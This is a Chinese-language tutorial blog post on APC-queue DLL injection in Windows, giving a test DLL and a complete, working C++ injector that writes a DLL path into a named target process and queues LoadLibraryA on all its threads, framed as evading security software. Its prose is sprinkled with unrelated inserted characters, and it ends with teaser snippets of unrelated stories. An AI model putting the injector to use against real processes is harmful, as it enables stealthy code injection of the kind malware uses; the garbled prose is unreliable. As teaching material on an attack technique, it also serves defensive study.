安全之路 —— 利用APC隊(duì)列實(shí)現(xiàn)跨進(jìn)程注入

簡介

在之前的文章中筆者曾經(jīng)為大家介紹過使用CreateRemoteThread函數(shù)來實(shí)現(xiàn)遠(yuǎn)程線程注入(鏈接)危号,毫無疑問最經(jīng)典的注入方式,但也因?yàn)槿绱讼郏@種方式到今天已經(jīng)幾乎被所有安全軟件所防御冈闭。所以今天筆者要介紹的是一種相對(duì)比較“另類”的方式佃却,被稱作“APC注入”薄榛。APC(Asynchronous Procedure Call),全稱為異步過程調(diào)用让歼,指的是函數(shù)在特定線程中被異步執(zhí)行敞恋。簡單地說,在Windows操作系統(tǒng)中谋右,每一個(gè)進(jìn)程的每一個(gè)線程都有自己的APC隊(duì)列硬猫,可以使用QueueUserAPC函數(shù)把一個(gè)APC函數(shù)壓入APC隊(duì)列中。當(dāng)處于用戶模式的APC被壓入到線程APC隊(duì)列后改执,線程并不會(huì)立刻執(zhí)行壓入的APC函數(shù)啸蜜,而是要等到線程處于可通知狀態(tài)才會(huì)執(zhí)行,也就是說辈挂,只有當(dāng)一個(gè)線程內(nèi)部調(diào)用WaitForSingleObject, WaitForMultiObjects, SleepEx等函數(shù)將自己處于掛起狀態(tài)時(shí)衬横,才會(huì)執(zhí)行APC隊(duì)列函數(shù),執(zhí)行順序與普通隊(duì)列相同终蒂,先進(jìn)先出(FIFO)蜂林,在整個(gè)執(zhí)行過程中,線程并無任何異常舉動(dòng)拇泣,不容易被察覺噪叙,但缺點(diǎn)是對(duì)于單線程程序一般不存在掛起狀態(tài),所以APC注入對(duì)于這類程序沒有明顯效果霉翔。

代碼樣例

  • DLL程序代碼
////////////////////////////////
//
// FileName : HelloWorldDll.cpp
// Creator : PeterZheng
// Date : 2018/11/02 11:10
// Comment : HelloWorld Test DLL ^_^
//
////////////////////////////////

#include <iostream>
#include <Windows.h>

using namespace std;

BOOL WINAPI DllMain(
    _In_ HINSTANCE hinstDLL,
    _In_ DWORD     fdwReason,
    _In_ LPVOID    lpvReserved
)
{
    switch (fdwReason)
    {
    case DLL_PROCESS_ATTACH:
        MessageBox(NULL, "HelloWorld", "Tips", MB_OK);
        break;
    case DLL_PROCESS_DETACH:
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
        break;
    }
    return TRUE;
}
  • 注入程序代碼
////////////////////////////////
//
// FileName : APCInject.cpp
// Creator : PeterZheng
// Date : 2018/12/17 16:27
// Comment : APC Injector
//
////////////////////////////////

#pragma once

#include <cstdio>
#include <cstdlib>
#include <iostream>
#include <strsafe.h>
#include <Windows.h>
#include <TlHelp32.h>

using namespace std;

// 根據(jù)進(jìn)程名字獲取進(jìn)程Id
BOOL GetProcessIdByName(CHAR *szProcessName, DWORD& dwPid)
{
    HANDLE hSnapProcess = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
    if (hSnapProcess == NULL)
    {
        printf("[*] Create Process Snap Error!\n");
        return FALSE;
    }
    PROCESSENTRY32 pe32 = { 0 };
    RtlZeroMemory(&pe32, sizeof(pe32));
    pe32.dwSize = sizeof(pe32);
    BOOL bRet = Process32First(hSnapProcess, &pe32);
    while (bRet)
    {
        if (_stricmp(pe32.szExeFile, szProcessName) == 0)
        {
            dwPid = pe32.th32ProcessID;
            return TRUE;
        }
        bRet = Process32Next(hSnapProcess, &pe32);
    }
    return FALSE;
}

// 獲取對(duì)應(yīng)進(jìn)程Id的所有線程Id
BOOL GetAllThreadIdByProcessId(DWORD dwPid, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength)
{
    DWORD dwThreadIdListLength = 0;
    DWORD dwThreadIdListMaxCount = 2000;
    LPDWORD pThreadIdList = NULL;
    pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (pThreadIdList == NULL)
    {
        printf("[*] Create Thread Id Space Error!\n");
        return FALSE;
    }
    RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));
    THREADENTRY32 te32 = { 0 };
    RtlZeroMemory(&te32, sizeof(te32));
    te32.dwSize = sizeof(te32);
    HANDLE hThreadSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    if (hThreadSnapshot == NULL)
    {
        printf("[*] Create Thread Snap Error!\n");
        return FALSE;
    }
    BOOL bRet = Thread32First(hThreadSnapshot, &te32);
    while (bRet)
    {
        if (te32.th32OwnerProcessID == dwPid)
        {
            if (dwThreadIdListLength >= dwThreadIdListMaxCount)
            {
                break;
            }
            pThreadIdList[dwThreadIdListLength++] = te32.th32ThreadID;
        }
        bRet = Thread32Next(hThreadSnapshot, &te32);
    }
    *pThreadIdListLength = dwThreadIdListLength;
    *ppThreadIdList = pThreadIdList;
    return TRUE;
}

// 主函數(shù)
int main(int argc, char* argv[])
{
    if (argc != 3)
    {
        printf("[*] Format Error!  \nYou Should FOLLOW THIS FORMAT: <APCInject EXENAME DLLNAME> \n");
        return 0;
    }
    LPSTR szExeName = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    LPSTR szDllPath = (LPSTR)VirtualAlloc(NULL, 100, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    RtlZeroMemory(szExeName, 100);
    RtlZeroMemory(szDllPath, 100);
    StringCchCopy(szExeName, 100, argv[1]);
    StringCchCopy(szDllPath, 100, argv[2]);
    DWORD dwPid = 0;
    BOOL bRet = GetProcessIdByName(szExeName, dwPid);
    if (!bRet)
    {
        printf("[*] Get Process Id Error!\n");
        return 0;
    }
    LPDWORD pThreadIdList = NULL;
    DWORD dwThreadIdListLength = 0;
    bRet = GetAllThreadIdByProcessId(dwPid, &pThreadIdList, &dwThreadIdListLength);
    if (!bRet)
    {
        printf("[*] Get All Thread Id Error!\n");
        return 0;
    }
    // 打開進(jìn)程
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwPid);
    if (hProcess == NULL)
    {
        printf("[*] Open Process Error!\n");
        return 0;
    }
    DWORD dwDllPathLen = strlen(szDllPath) + 1;
    // 申請(qǐng)目標(biāo)進(jìn)程空間构眯,用于存儲(chǔ)DLL路徑
    LPVOID lpBaseAddress = VirtualAllocEx(hProcess, NULL, dwDllPathLen, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if (lpBaseAddress == NULL)
    {
        printf("[*] VirtualAllocEx Error!\n");
        return 0;
    }
    SIZE_T dwWriten = 0;
    // 把DLL路徑字符串寫入目標(biāo)進(jìn)程
    WriteProcessMemory(hProcess, lpBaseAddress, szDllPath, dwDllPathLen, &dwWriten);
    if (dwWriten != dwDllPathLen)
    {
        printf("[*] Write Process Memory Error!\n");
        return 0;
    }
    LPVOID pLoadLibraryFunc = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (pLoadLibraryFunc == NULL)
    {
        printf("[*] Get Func Address Error!\n");
        return 0;
    }
    HANDLE hThread = NULL;
    // 倒序插入線程APC,可避免出現(xiàn)在插入時(shí)進(jìn)程崩潰的現(xiàn)象
    for (int i = dwThreadIdListLength - 1; i >= 0; i--)
    {
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);
        if (hThread)
        {
            QueueUserAPC((PAPCFUNC)pLoadLibraryFunc, hThread, (ULONG_PTR)lpBaseAddress);
            CloseHandle(hThread);
            hThread = NULL;
        }
    }

    // DLL路徑分割早龟,方便輸出
    LPCSTR szPathSign = "\\";
    LPSTR p = NULL;
    LPSTR next_token = NULL;
    p = strtok_s(szDllPath, szPathSign, &next_token);
    while (p)
    {
        StringCchCopy(szDllPath, 100, p);
        p = strtok_s(NULL, szPathSign, &next_token);
    }
    printf("[*] APC Inject Info [%s ==> %s] Success\n", szDllPath, szExeName);

    if (hProcess)
    {
        CloseHandle(hProcess);
        hProcess = NULL;
    }
    if (pThreadIdList)
    {
        VirtualFree(pThreadIdList, 0, MEM_RELEASE);
        pThreadIdList = NULL;
    }
    VirtualFree(szDllPath, 0, MEM_RELEASE);
    VirtualFree(szExeName, 0, MEM_RELEASE);
    ExitProcess(0);
    return 0;
}

運(yùn)行截圖

APC注入運(yùn)行截圖

參考資料

  1. 《Windows黑客編程技術(shù)詳解》【甘迪文 著】
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末惫霸,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子葱弟,更是在濱河造成了極大的恐慌壹店,老刑警劉巖,帶你破解...
    沈念sama閱讀 212,080評(píng)論 6 493
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件芝加,死亡現(xiàn)場離奇詭異硅卢,居然都是意外死亡,警方通過查閱死者的電腦和手機(jī)藏杖,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 90,422評(píng)論 3 385
  • 文/潘曉璐 我一進(jìn)店門将塑,熙熙樓的掌柜王于貴愁眉苦臉地迎上來,“玉大人蝌麸,你說我怎么就攤上這事点寥。” “怎么了来吩?”我有些...
    開封第一講書人閱讀 157,630評(píng)論 0 348
  • 文/不壞的土叔 我叫張陵敢辩,是天一觀的道長蔽莱。 經(jīng)常有香客問我,道長戚长,這世上最難降的妖魔是什么盗冷? 我笑而不...
    開封第一講書人閱讀 56,554評(píng)論 1 284
  • 正文 為了忘掉前任,我火速辦了婚禮同廉,結(jié)果婚禮上仪糖,老公的妹妹穿的比我還像新娘。我一直安慰自己迫肖,他們只是感情好乓诽,可當(dāng)我...
    茶點(diǎn)故事閱讀 65,662評(píng)論 6 386
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著咒程,像睡著了一般鸠天。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上帐姻,一...
    開封第一講書人閱讀 49,856評(píng)論 1 290
  • 那天稠集,我揣著相機(jī)與錄音,去河邊找鬼饥瓷。 笑死剥纷,一個(gè)胖子當(dāng)著我的面吹牛,可吹牛的內(nèi)容都是我干的呢铆。 我是一名探鬼主播晦鞋,決...
    沈念sama閱讀 39,014評(píng)論 3 408
  • 文/蒼蘭香墨 我猛地睜開眼,長吁一口氣:“原來是場噩夢(mèng)啊……” “哼棺克!你這毒婦竟也來了悠垛?” 一聲冷哼從身側(cè)響起,我...
    開封第一講書人閱讀 37,752評(píng)論 0 268
  • 序言:老撾萬榮一對(duì)情侶失蹤娜谊,失蹤者是張志新(化名)和其女友劉穎确买,沒想到半個(gè)月后,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體纱皆,經(jīng)...
    沈念sama閱讀 44,212評(píng)論 1 303
  • 正文 獨(dú)居荒郊野嶺守林人離奇死亡湾趾,尸身上長有42處帶血的膿包…… 初始之章·張勛 以下內(nèi)容為張勛視角 年9月15日...
    茶點(diǎn)故事閱讀 36,541評(píng)論 2 327
  • 正文 我和宋清朗相戀三年,在試婚紗的時(shí)候發(fā)現(xiàn)自己被綠了派草。 大學(xué)時(shí)的朋友給我發(fā)了我未婚夫和他白月光在一起吃飯的照片搀缠。...
    茶點(diǎn)故事閱讀 38,687評(píng)論 1 341
  • 序言:一個(gè)原本活蹦亂跳的男人離奇死亡,死狀恐怖近迁,靈堂內(nèi)的尸體忽然破棺而出艺普,到底是詐尸還是另有隱情,我是刑警寧澤,帶...
    沈念sama閱讀 34,347評(píng)論 4 331
  • 正文 年R本政府宣布衷敌,位于F島的核電站,受9級(jí)特大地震影響拓瞪,放射性物質(zhì)發(fā)生泄漏缴罗。R本人自食惡果不足惜,卻給世界環(huán)境...
    茶點(diǎn)故事閱讀 39,973評(píng)論 3 315
  • 文/蒙蒙 一祭埂、第九天 我趴在偏房一處隱蔽的房頂上張望面氓。 院中可真熱鬧,春花似錦蛆橡、人聲如沸舌界。這莊子的主人今日做“春日...
    開封第一講書人閱讀 30,777評(píng)論 0 21
  • 文/蒼蘭香墨 我抬頭看了看天上的太陽呻拌。三九已至,卻和暖如春睦焕,著一層夾襖步出監(jiān)牢的瞬間藐握,已是汗流浹背。 一陣腳步聲響...
    開封第一講書人閱讀 32,006評(píng)論 1 266
  • 我被黑心中介騙來泰國打工垃喊, 沒想到剛下飛機(jī)就差點(diǎn)兒被人妖公主榨干…… 1. 我叫王不留猾普,地道東北人。 一個(gè)月前我還...
    沈念sama閱讀 46,406評(píng)論 2 360
  • 正文 我出身青樓本谜,卻偏偏與公主長得像初家,于是被迫代替她去往敵國和親。 傳聞我的和親對(duì)象是個(gè)殘疾皇子乌助,可洞房花燭夜當(dāng)晚...
    茶點(diǎn)故事閱讀 43,576評(píng)論 2 349

推薦閱讀更多精彩內(nèi)容

  • 轉(zhuǎn)眼2016年,距離畢業(yè)又有一段時(shí)間上祈。數(shù)字從2015培遵,悄然劃到了2016〉谴蹋看到圈子的大家都多多少少寫了一些工作籽腕、生...
    zzz劼閱讀 490評(píng)論 0 0
  • 你看到了那個(gè)小女孩 原來 一直無法釋懷的 不是現(xiàn)在的自己 而是心疼那個(gè)小女孩 你想保護(hù)她 陪著她 你想要她快樂 那...
    墨跡女王閱讀 145評(píng)論 0 0
  • 精細(xì)有個(gè)李大嘴,嘴唇又厚又大纸俭,但是還特能說皇耗,特會(huì)說,一副一張嘴就停不下來揍很、大吹特吹牛的樣子郎楼。 初見李大嘴就覺得他長...
    活著不易閱讀 310評(píng)論 0 5
  • 單身女人愛說:“男人沒有一個(gè)好東西万伤。”成家的女人愛說:“嫁給你這樣的男人是瞎了眼呜袁〉新颍”那么,好男人都上哪兒了阶界? ...
    霸王花冰閱讀 139評(píng)論 0 0